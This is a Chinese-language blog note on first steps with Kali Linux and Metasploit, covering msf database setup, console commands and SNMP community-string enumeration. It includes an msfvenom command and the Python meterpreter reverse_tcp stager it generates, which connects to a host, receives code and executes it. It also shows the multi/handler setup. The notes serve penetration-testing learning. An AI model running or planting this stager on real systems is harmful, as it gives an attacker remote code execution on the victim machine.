首页 > 技术文章 > kail初始用

iamlehaha 2017-05-03 12:49 原文

1. 开启数据库postgresql

   kail可以将获得到的数据ip地址,端口,帐号,漏洞等信息保存到数据库(postgresql),所以需要先开启该数据库指令如下:  

/etc/init.d/postgresql start

sudo -u postgres psql  
alter user postgres with password 'toor';   #修改密码为toor
psql -U postgres -h 127.0.0.1    #进入控制台
create user msf with password 'toor' nocreatedb;
create database msf with owner=msf;    #创建msf数据库
\q   #退出

导出数据库里信息

  


\l    #显示所有数据库
\c msf   #选择当前数据库
\d 列出当前数据库下的数据表
\d hosts 查看指定表的所有字段
\d+ hosts 查看指定表的基本情况
\o /tmp/port.txt
select address from hosts,services where hosts.id=services.host_id;  #获得所有hosts -address 信息
\o  #关闭输出
参考:
http://blog.csdn.net/shiyibodec/article/details/53425093
http://blog.csdn.net/smstong/article/details/17138355

  

  参考: http://blog.csdn.net/xiongjun_cdn/article/details/51241083

2. 更新框架指令

   下载最新的exploit等代码

msfupdate

3. 进入metasploit控制

 

msfconsole

4. metasploit

help   #获得当前支持的所有指令,及说明信息

----------------------------------数据库相关指令----------
db_connect #连接数据库
db_status   #数据库状态
db_nmap    #使用nmap扫描,结果保存到数据库
hosts          #数据库中所有主机
services      #数据库中所有服务
creds          #数据库中所有帐号信息
vulns          #数据库中所有漏洞
------------------------------
db_connect postgres:toor@127.0.0.1/msf #连接数据库

 

5. python - meterpreter

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.109.134 LPORT=4444

 生成的python代码如下:

  

import socket,struct
s=socket.socket(2,1)
s.connect(('192.168.90.1',1234))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

  msf 操作如下:

  

msf3> use exploit/multi/handler
msf3> set payload python/meterpreter/reverse_tcp 
msf3> set LHOST 192.168.90.1
msf3> exploit

6. 一台linux机器 做跳板

use exploit/multi/ssh/sshexec 

使用正向连接的配置

 

 

基本工具:

1. 列举snmp 团体名的工具 

/pentest/enumeration/snmp/onesixtyone/onesixtyone

使用 

/pentest/enumeration/snmp/onesixtyone/onesixtyone -c dict.txt -i host.txt

 

还有几个类似的扫描snmp的工具,并且包含特定的字典

/pentest/enumeration/snmp

 

windows下snmp破解团体名工具: SNScan 1.0.5

http://www.foundstone.com/

 

2. Nmap工具

http://www.360doc.com/content/15/0730/16/13383659_488391266.shtml

 

 

ctr+a+[ 翻页 screen命令

安装中文输入法

 apt-get install fcitx-googlepinyin

参考: http://www.kali.org.cn/thread-23975-1-1.html 

基本指令 

python -meterpreter

http://www.phillips321.co.uk/2013/10/22/one-line-python-meterpreter-reverse-shell/ 

推荐阅读